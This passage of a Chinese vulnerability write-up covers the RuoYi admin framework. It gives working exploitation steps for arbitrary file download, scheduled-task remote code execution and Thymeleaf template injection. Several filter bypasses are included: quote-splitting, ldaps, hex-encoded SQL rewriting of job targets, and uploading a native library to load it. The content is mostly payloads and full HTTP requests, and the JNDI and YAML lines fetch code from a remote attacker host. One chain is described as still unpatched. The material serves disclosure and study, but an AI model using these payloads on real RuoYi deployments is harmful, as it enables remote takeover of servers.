由于resource
参数已经经过了白名单和目录穿越的过滤,比较难实现任意文件下载;
又由于该函数处理的是拼接resource
内容中/profile
后的内容,如果resource
中不包含/profile
,那么拼接的内容不就是null
了吗?这时如果我们能够自定义profile
变量的值,那么我们也可以实现任意文件下载;
虽然没有直接性的接口能够实现自定义profile
变量,但是若依框架中存在定时任务,该任务可以调用除过滤方法以外的任意函数和传入任意参数;
在框架源码中寻找,发现存在设置profile
变量的函数位于
RuoYi-4.6.0/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java#setProfile
1 2 3 4 public void setProfile (String profile) { RuoYiConfig.profile = profile; }
因此,通过设置定时任务ruoYiConfig.setProfile('C://Windows//win.ini')
执行,将profile
变量设置为想要下载的文件的绝对路径;
然后调用接口/common/download/resource
,参数resource
传入不含/profile
的白名单后缀文件记录下载profile
定义的绝对路径文件
4 定时任务 RCE 4.1 定时任务 RCE(<V4.6.2) 漏洞复现 对于该定时任务 RCE 漏洞需要注意,启动若依的 jdk 版本必须位于 jdk1.8.0-191 以下,因为大于 191 版本的 jdk1.8 已经禁止了远程 ldap 请求,所以无法远程 rce,只能本地复现。
这里采用的复现环境是 jdk1.8.0_121 + ruoyi V4.6.0,采用的是请求 VPS ip 起的 ldap;
1 javax.naming.InitialContext.lookup('ldap://xx.xxx.xx.xxx:1389/Basic/Command/calc.exe' )
这里需要注意,服务器中启动 LDAP 服务的 java 版本要求是 jdk8;
在 V4.6.2 以下的版本是没有进行任何过滤的,所以基本上使用任何方法都能够实现 RCE;
虽然在 V4.6.2 中仅用了 rmi 的远程调用,但是这丝毫不会影响 ldap 的远程调用,依旧随便 RCE;
1 2 3 org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://xx.xxx.xx.xxx:1389/Calc' ) javax.naming.InitialContext.lookup('ldap://xx.xxx.xx.xxx:1389/Basic/Command/calc.exe' ) org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://xx.xx.xxx.xx:1389/yaml-payload.jar"]]]]' )
漏洞分析 添加定时任务接口对应的处理函数RuoYi-4.6.0/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java#addSave
在 4.6.2 版本以前没有对定时任务做任何过滤,因此可以实现多种方式的命令执行;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @Log(title = "定时任务", businessType = BusinessType.INSERT) @RequiresPermissions("monitor:job:add") @PostMapping("/add") @ResponseBody public AjaxResult addSave (@Validated SysJob job) throws SchedulerException, TaskException { if (!CronUtils.isValid(job.getCronExpression())) { return AjaxResult.error("cron表达式不正确" ); } return toAjax(jobService.insertJob(job)); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Override @Transactional public int insertJob (SysJob job) throws SchedulerException, TaskException { job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); int rows = jobMapper.insertJob(job); if (rows > 0 ) { ScheduleUtils.createScheduleJob(scheduler, job); } return rows; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static void createScheduleJob (Scheduler scheduler, SysJob job) throws SchedulerException, TaskException { Class<? extends Job > jobClass = getQuartzJobClass(job); Long jobId = job.getJobId(); String jobGroup = job.getJobGroup(); JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) .withSchedule(cronScheduleBuilder).build(); jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); if (scheduler.checkExists(getJobKey(jobId, jobGroup))) { scheduler.deleteJob(getJobKey(jobId, jobGroup)); } scheduler.scheduleJob(jobDetail, trigger); if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) { scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); } }
在此之前的代码已经实现了定时任务的创建,并设置了定时任务的处理函数为RuoYi-4.6.0/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java#doExecute
下面是执行定时任务方法的流程;
1 2 3 4 5 6 7 8 9 10 11 12 @Log(title = "定时任务", businessType = BusinessType.UPDATE) @RequiresPermissions("monitor:job:changeStatus") @PostMapping("/run") @ResponseBody public AjaxResult run (SysJob job) throws SchedulerException { jobService.run(job); return success(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Override @Transactional public void run (SysJob job) throws SchedulerException { Long jobId = job.getJobId(); SysJob tmpObj = selectJobById(job.getJobId()); JobDataMap dataMap = new JobDataMap (); dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj); scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup()), dataMap); }
位于RuoYi-4.6.0/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java
,执行doExecute
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class QuartzJobExecution extends AbstractQuartzJob { @Override protected void doExecute (JobExecutionContext context, SysJob sysJob) throws Exception { JobInvokeUtil.invokeMethod(sysJob); } }
判断执行的目标名称是否为bean
,根据相应类型进行执行方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static void invokeMethod (SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }
反射调用相应类对应的函数;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static void invokeMethod (Object bean, String methodName, List<Object[]> methodParams) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0 ) { Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams)); method.invoke(bean, getMethodParamsValue(methodParams)); } else { Method method = bean.getClass().getDeclaredMethod(methodName); method.invoke(bean); } }
以上就是定时任务添加和调用的全流程,在 4.6.2 以前毫无限制,想怎么执行就怎么执行,有相应依赖也可以直接反序列化执行命令;
4.2 定时任务 RCE bypass1(<V4.7.1) 漏洞复现 bypass1 的 payload 如下所示:
1 2 3 rmi: org.springframework.jndi.JndiLocatorDelegate.lookup('r' mi: ldap: javax.naming.InitialContext.lookup('ld' ap: SnakeYaml: org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht' tp:
1 javax.naming.InitialContext.lookup('ld' ap:
在 V4.7.1 版本中添加了对执行方法的过滤,不允许执行org.springframework.jndi
、javax.naming.InitialContext
、org.yaml.snakeyaml
、java.net.URL
,因此仅通过'
去绕过已经不能够实现
漏洞分析 详细的定时任务添加和执行可以参考 4.1 小节的漏洞分析;
在 4.7.1 时对定时任务调用的目标字符串进行了过滤,过滤了rmi://
、ldap://
、http(s)://
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Log(title = "定时任务", businessType = BusinessType.INSERT) @RequiresPermissions("monitor:job:add") @PostMapping("/add") @ResponseBody public AjaxResult addSave (@Validated SysJob job) throws SchedulerException, TaskException { if (!CronUtils.isValid(job.getCronExpression())) { return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确" ); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi://'调用" ); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap://'调用" ); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String [] { Constants.HTTP, Constants.HTTPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)//'调用" ); } return toAjax(jobService.insertJob(job)); }
过滤了上述的内容只要尝试绕过即可,通过ldaps://
即可实现绕过;但是 ldaps://
有点难搭建,因此尝试通过其他方法进行过滤
通过观察定时任务执行过程中的执行函数invokeMethod
,其在获取方法参数List<Object[]> methodParams = getMethodParams(invokeTarget);
的过程中参在问题,因此导致的漏洞;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static void invokeMethod (SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }
由于这个函数对参数的处理,将'
替换为 null,从而导致可以通过'ld'ap://xxx.xx.xx.xxx:1389/'
绕过ldap://
的过滤;因为在执行过程中都会将'
替换掉,从而获取参数ldap://xxx.xx.xx.xxx:1389/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public static List<Object[]> getMethodParams(String invokeTarget) { String methodStr = StringUtils.substringBetween(invokeTarget, "(" , ")" ); if (StringUtils.isEmpty(methodStr)) { return null ; } String[] methodParams = methodStr.split("," ); List<Object[]> classs = new LinkedList <>(); for (int i = 0 ; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); if (StringUtils.contains(str, "'" )) { classs.add(new Object [] { StringUtils.replace(str, "'" , "" ), String.class }); } else if (StringUtils.equals(str, "true" ) || StringUtils.equalsIgnoreCase(str, "false" )) { classs.add(new Object [] { Boolean.valueOf(str), Boolean.class }); } else if (StringUtils.containsIgnoreCase(str, "L" )) { classs.add(new Object [] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L" , "" )), Long.class }); } else if (StringUtils.containsIgnoreCase(str, "D" )) { classs.add(new Object [] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D" , "" )), Double.class }); } else { classs.add(new Object [] { Integer.valueOf(str), Integer.class }); } } return classs; }
4.3 定时任务 RCE bypass2(<V4.7.3) 漏洞复现 先阅读 4.1 小节的漏洞分析,了解定时任务的执行流程;
这里的 RCE 的方法还挺多的具体参考:https://xz.aliyun.com/news/10405
这种过滤方法能够成功,但是我在复现的过程中遇到了证书问题,要求是需要配置相关的证书这种也是没有进一步的配置。
本次漏洞复现需要使用到工具:https://github.com/phith0n/tls_proxy
1 org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource('ldaps://xx.xx.xxx.xx:1388/Basic/Command/calc.exe' )
在版本 V4.7.3 中将ldap://
的过滤修改为对ldap
进行过滤,因此不能够在使用ldaps
进行绕过;
若依中有个文件上传接口/common/upload
,可以通过该接口实现文件上传将配置文件上传到服务端;然后使用org.apache.velocity.runtime.RuntimeInstance.init
加载这个配置文件
1 2 3 4 5 6 7 8 9 10 11 resource.loader = ds ds.resource.loader.public .name = DataSource ds.resource.loader.description = Velocity DataSource Resource Loader ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader ds.resource.loader.datasource_url = ldap: ds.resource.loader.resource.table = tb_velocity_template ds.resource.loader.resource.keycolumn = id_template ds.resource.loader.resource.templatecolumn = template_definition ds.resource.loader.resource.timestampcolumn = template_timestamp ds.resource.loader.cache = false ds.resource.loader.modificationCheckInterval = 60
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 POST /common/upload HTTP/1.1 Host: 192.168 .1 .9 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv:141.0 ) Gecko/20100101 Firefox/141.0 Accept: *
1 org.apache.velocity.runtime.RuntimeInstance.init('C:/code/Java/RuoYi/upload/upload/2025/08/11/7c862b8b-e72f-4b61-ae38-95f15403ac21.txt' )
漏洞分析 先阅读 4.1 小节的漏洞分析,了解定时任务的执行流程;
这里的漏洞分析只针对 ldaps bypass 的分析,对于配置文件 RCE 的方法我这里就不进行分析了
配置文件 RCE 的方法简单来说就是让 velocity 使用我们设定的配置文件重新加载,在重新加载的过程中触发了远程 ldap 请求导致的 rce;
根据下面方法的具体内容,也是可以发现,通过'ld'ap://'
方式进行绕过已经不能够实现了;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static List<Object[]> getMethodParams(String invokeTarget) { String methodStr = StringUtils.substringBetween(invokeTarget, "(" , ")" ); if (StringUtils.isEmpty(methodStr)) { return null ; } String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)" ); List<Object[]> classs = new LinkedList <>(); for (int i = 0 ; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); if (StringUtils.startsWithAny(str, "'" , "\"" )) { classs.add(new Object [] { StringUtils.substring(str, 1 , str.length() - 1 ), String.class }); } else if ("true" .equalsIgnoreCase(str) || "false" .equalsIgnoreCase(str)) { classs.add(new Object [] { Boolean.valueOf(str), Boolean.class }); } else if (StringUtils.endsWith(str, "L" )) { classs.add(new Object [] { Long.valueOf(StringUtils.substring(str, 0 , str.length() - 1 )), Long.class }); } else if (StringUtils.endsWith(str, "D" )) { classs.add(new Object [] { Double.valueOf(StringUtils.substring(str, 0 , str.length() - 1 )), Double.class }); } else { classs.add(new Object [] { Integer.valueOf(str), Integer.class }); } } return classs; }
尽管如何,在添加定时任务时,并没有对ldaps
进行过滤,因此仍然能够通过ldaps
协议实现 rce;(只是 ldaps 并没有那么容易实现就是啦)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 @Log(title = "定时任务", businessType = BusinessType.INSERT) @RequiresPermissions("monitor:job:add") @PostMapping("/add") @ResponseBody public AjaxResult addSave (@Validated SysJob job) throws SchedulerException, TaskException { if (!CronUtils.isValid(job.getCronExpression())) { return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确" ); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi://'调用" ); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap://'调用" ); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String [] { Constants.HTTP, Constants.HTTPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)//'调用" ); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规" ); } job.setCreateBy(getLoginName()); return toAjax(jobService.insertJob(job)); }
4.4 定时任务 RCE bypass3(<V4.7.9) 漏洞复现 1 2 genTableServiceImpl.createTable("update sys_job set invoke_target=javax.naming.InitialContext.lookup('ldap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe') where job_id = 102;" ) genTableServiceImpl.createTable("update sys_job set invoke_target=0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F78782E78782E7878782E78783A313338392F42617369632F436F6D6D616E642F63616C632E6578652729 where job_id = 102;" )
首先添加一个任意内容的定时任务执行
通过/monitor/job/list
接口可以查看jobId
,这个是为了后面写 sql 语句实现定点修改;
在新建一个执行 sql 语句的定时任务;
1 genTableServiceImpl.createTable("update sys_job set invoke_target=javax.naming.InitialContext.lookup('ldap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe') where job_id = 102;" )
由于定时任务执行目标对ldap(s)
进行了过滤,因为需要通过 16 进制invoke_target
的值进行绕过
1 genTableServiceImpl.createTable("update sys_job set invoke_target=0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F78782E78782E7878782E78783A313338392F42617369632F436F6D6D616E642F63616C632E6578652729 where job_id = 102;" )
执行一次对应的定时任务;
可以发现103
编号的任务变成了刚才设置的值,然后就是利用 ldap 协议 rce 了;
执行一次以后即可发现
漏洞分析 先阅读 4.1 小节的漏洞分析,了解定时任务的执行流程;
这个漏洞的原理就是利用了一个方法执行 sql 预取去修改数据库中存储的定时任务的内容,由于 sql 语句是支持 16 进制内容的,因此可以使用 16 进制绕过关键词过滤内容,实现定时任务修改,然后执行任务定时任务导致 rce。
这个漏洞利用了一下/tool/gen/createTable
接口的 sql 注入漏洞,非直接利用,而是调用了其中的 Mybatis 服务方法;
/RuoYi-4.7.8/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml
1 2 3 <update id="createTable" > ${sql} </update>
对应的调用方法位于/RuoYi-4.7.8/ruoyi-generator/src/main/java/com/ruoyi/generator/service/impl/GenTableServiceImpl.java
1 2 3 4 5 6 7 8 9 10 11 @Override public boolean createTable (String sql) { return genTableMapper.createTable(sql) == 0 ; }
根据这个语句方法就可以实现对任意的 sql 语句的调用,因此就能够实现对数据库内容的更改UPDATE
;
因此我们调用这个方法的 bean 对象对数据库中的定时任务内容进行修改即可实现任意函数调用 RCE
1 genTableServiceImpl.createTable("update sys_job set invoke_target=javax.naming.InitialContext.lookup('ldap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe') where job_id = 102;" )
由于若依本身已经存在了对ldap
的过滤,对于invoke_target
设置的值采用 16 进制 bypass,因为 sql 语句本身是执行 16 进制的,因此不会对设置内容产生影响;
1 genTableServiceImpl.createTable("update sys_job set invoke_target=0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F78782E78782E7878782E78783A313338392F42617369632F436F6D6D616E642F63616C632E6578652729 where job_id = 102;" )
因此,我们可以将定时任务的执行目标修改为任意内容;
4.5 定时任务 RCE bypass4(未修复)
截止到漏洞分析时间:该漏洞在最新版本 ruoyi V4.8.1 中仍未修复
漏洞复现 本次复现环境为windows11 + jdk8_121 + ruoyi4.8.0
,若采用 linux 和 macos 复现,则动态链接库的编写都存在一定差异,届时会给出相应内容;
首先需要制作一个即将被加载的动态链接库
1 2 3 4 5 6 7 8 9 10 11 12 #include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { system("calc.exe" ); } return TRUE; }
1 2 gcc -shared -o calc.dll calc.c -Wall x86_64-w64-mingw32-gcc -shared -o calc.dll calc.c -Wall
1 2 3 4 5 6 7 #include <stdlib.h> #include <stdio.h> __attribute__((constructor))static void run () { system("gnome-calculator &" ); }
1 gcc -fPIC -shared -o calc.so calc.c
1 2 3 4 5 #include <stdlib.h> __attribute__((constructor))static void run () { system("open -a Calculator" ); }
1 gcc -arch x86_64 -shared -o calc.dylib calc.c
制作完成动态链接库一下,使用若依的文件上传接口<font style="color:rgb(68, 68, 68);background-color:rgb(245, 245, 245);">/common/upload</font>
将动态链接库上传到服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 POST /common/upload HTTP/1.1 Host : 192.168.1.9User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brX-Requested-With : XMLHttpRequestContent-Type : multipart/form-data; boundary=----geckoformboundarya01d77708851835ad52282b087ed68e7Content-Length : 100346Origin : http://192.168.1.9Connection : keep-aliveReferer : http://192.168.1.9/demo/form/uploadCookie : JSESSIONID=54ba609e-21d6-417b-ae7b-cdc1bc8bad2bPriority : u=0Content-Disposition: form-data; name ="file"; filename="com.ruoyi.quartz.task.txt" Content-Type : application/octet-stream 恶意动态链接库二进制文件 Content-Disposition: form-data; name ="fileId" 99612 _calc.dllContent-Disposition: form-data; name ="initialPreview" [] Content-Disposition: form-data; name ="initialPreviewConfig" [] Content-Disposition: form-data; name ="initialPreviewThumbTags" []
文件上传成功以后,由于文件后缀过滤的缘故,还需要将文件名修改为动态链接库后缀,linux->.so
、macos->.dylib
、window->.dll
;该操作依旧是通过定时任务实现;
这个文件路径还是需要猜测的,这就是利用的难点?如果猜不到文件上传路径,那都白搭
1 ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying('../upload/upload/2025/08/16/com.ruoyi.quartz.task_20250816103604A001.txt','../upload/upload/2025/08/16/com.ruoyi.quartz.task_20250816103604A001.dll')
设置定时任务com.sun.glass.utils.NativeLibLoader.loadLibrary
加载我们上传的动态链接库文件内容
对于这个加载的路径如何选择,loadLibrary 默认在<path to jdk>/jre/bin/
路径下搜索,所以需要通过目录穿越找到我们上传的动态链接库文件,这又是一大难点;
1 com.sun.glass.utils.NativeLibLoader.loadLibrary("../../../../../../../../../../code/Java/RuoYi/upload/upload/2025/08/16/com.ruoyi.quartz.task_20250816103604A001");
漏洞分析 怎么说呢?看到漏洞复现的过程的话,漏洞原因应该都蛮清晰了;这是多个漏洞点组合起来的 rce,且还存在路径爆破等问题需要解决,利用难度还挺大的;
该漏洞截至目前仍未修改,所以仍在可利用,但是路径问题缺失是一个大问题;
这里放两篇文章吧(ps:写得挺累的啦,不想写了)
【安全研究】若依4.8.0版本计划任务RCE研究
若依Ruoyi-4.8.0后台RCE(复现)
5 SSTI模版注入 RCE 5.1 注入接口/monitor/cache/getNames
(V4.6.1<Version<V4.7.2) 漏洞复现
1 2 3 4 // payload(空格绕过检查) ${T (java.lang.Runtime).getRuntime().exec("calc.exe")} // URL编码 %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /monitor/cache/getNames HTTP/1.1 Host : 192.168.1.9User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 171Origin : http://192.168.1.9Connection : keep-aliveReferer : http://192.168.1.9/monitor/cacheCookie : JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380fragment= %24 %7 b%54 %20 %28 %6 a%61 %76 %61 %2 e%6 c %61 %6 e%67 %2 e%52 %75 %6 e%74 %69 %6 d%65 %29 %2 e%67 %65 %74 %52 %75 %6 e%74 %69 %6 d%65 %28 %29 %2 e%65 %78 %65 %63 %28 %22 %63 %61 %6 c %63 %2 e%65 %78 %65 %22 %29 %7 d
漏洞分析 详细的Thymeleaf 模版注入原理参考文章 https://blog.csdn.net/weixin_43263451/article/details/126543803
这里简单分析一下漏洞点,通过pom.xml
文件分析可以看出若依采用了thymeleaf 模板,后续如果控制器返回视图则采用 thymeleaf 模板进行解析;
1 2 3 4 5 <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-thymeleaf</artifactId > </dependency >
可以看到在/monitor/cache/getName
接口的处理中返回视图,且fragment
是通过参数传入的内容,因此可实现 thymeleaf 模板注入;
1 2 3 4 5 6 @PostMapping("/getNames") public String getCacheNames (String fragment, ModelMap mmap) { mmap.put("cacheNames" , cacheService.getCacheNames()); return prefix + "/cache::" + fragment; }
由于 thymeleaf 本身存在检查参数值中是否使用了”T(SomeClass)“或者”new SomeClass”
1 ${T(java.lang.Runtime).exec('calc')}
3.x 版本后的thymeleaf 的 bypass 方法:https://www.qwesec.com/2025/02/thymeleafSSTI.html
5.2 注入接口/monitor/cache/getKeys
(V4.6.1<Version<V4.7.2) 漏洞复现
随便设置一个cacheName
的值,然后修改fragment
的内容为 payload 的 URL 编码即可;
1 2 3 4 // payload(空格绕过检查) ${T (java.lang.Runtime).getRuntime().exec("calc.exe")} // URL编码 %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /monitor/cache/getKeys HTTP/1.1 Host : 192.168.1.9User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 183Origin : http://192.168.1.9Connection : keep-aliveReferer : http://192.168.1.9/monitor/cacheCookie : JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380cacheName= 1 &fragment= %24 %7 b%54 %20 %28 %6 a%61 %76 %61 %2 e%6 c %61 %6 e%67 %2 e%52 %75 %6 e%74 %69 %6 d%65 %29 %2 e%67 %65 %74 %52 %75 %6 e%74 %69 %6 d%65 %28 %29 %2 e%65 %78 %65 %63 %28 %22 %63 %61 %6 c %63 %2 e%65 %78 %65 %22 %29 %7 d
漏洞分析 参见 5.1 小节的漏洞分析,内容基本一致
5.3 注入接口/monitor/cache/getValue
(V4.6.1<Version<V4.7.2) 漏洞复现 payload 如/monitor/cache/getKeys
接口,修改其数据包的接口为/monitor/cache/getValue
即可;
1 2 3 4 // payload(空格绕过检查) ${T (java.lang.Runtime).getRuntime().exec("calc.exe")} // URL编码 %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /monitor/cache/getValue HTTP/1.1 Host : 192.168.1.9User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 183Origin : http://192.168.1.9Connection : keep-aliveReferer : http://192.168.1.9/monitor/cacheCookie : JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380cacheName= 1 &fragment= %24 %7 b%54 %20 %28 %6 a%61 %76 %61 %2 e%6 c %61 %6 e%67 %2 e%52 %75 %6 e%74 %69 %6 d%65 %29 %2 e%67 %65 %74 %52 %75 %6 e%74 %69 %6 d%65 %28 %29 %2 e%65 %78 %65 %63 %28 %22 %63 %61 %6 c %63 %2 e%65 %78 %65 %22 %29 %7 d
漏洞分析 参见 5.1 小节的漏洞分析,内容基本一致
漏洞复现 1 2 3 4 // payload(空格绕过检查) ${T (java.lang.Runtime).getRuntime().exec("calc.exe")} // URL编码 %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /demo/form/localrefresh/task HTTP/1.1 Host : 192.168.1.9User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 171Origin : http://192.168.1.9Connection : keep-aliveReferer : http://192.168.1.9/monitor/cacheCookie : JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380fragment= %24 %7 b%54 %20 %28 %6 a%61 %76 %61 %2 e%6 c %61 %6 e%67 %2 e%52 %75 %6 e%74 %69 %6 d%65 %29 %2 e%67 %65 %74 %52 %75 %6 e%74 %69 %6 d%65 %28 %29 %2 e%65 %78 %65 %63 %28 %22 %63 %61 %6 c %63 %2 e%65 %78 %65 %22 %29 %7 d
漏洞分析 参见 5.1 小节的漏洞分析,内容基本一致
6 Shiro721 反序列化 RCE(<V4.6.2) 漏洞复现 本次复现该实验的环境为 jdk1.8.0_461 + ruoyi V4.6.0;
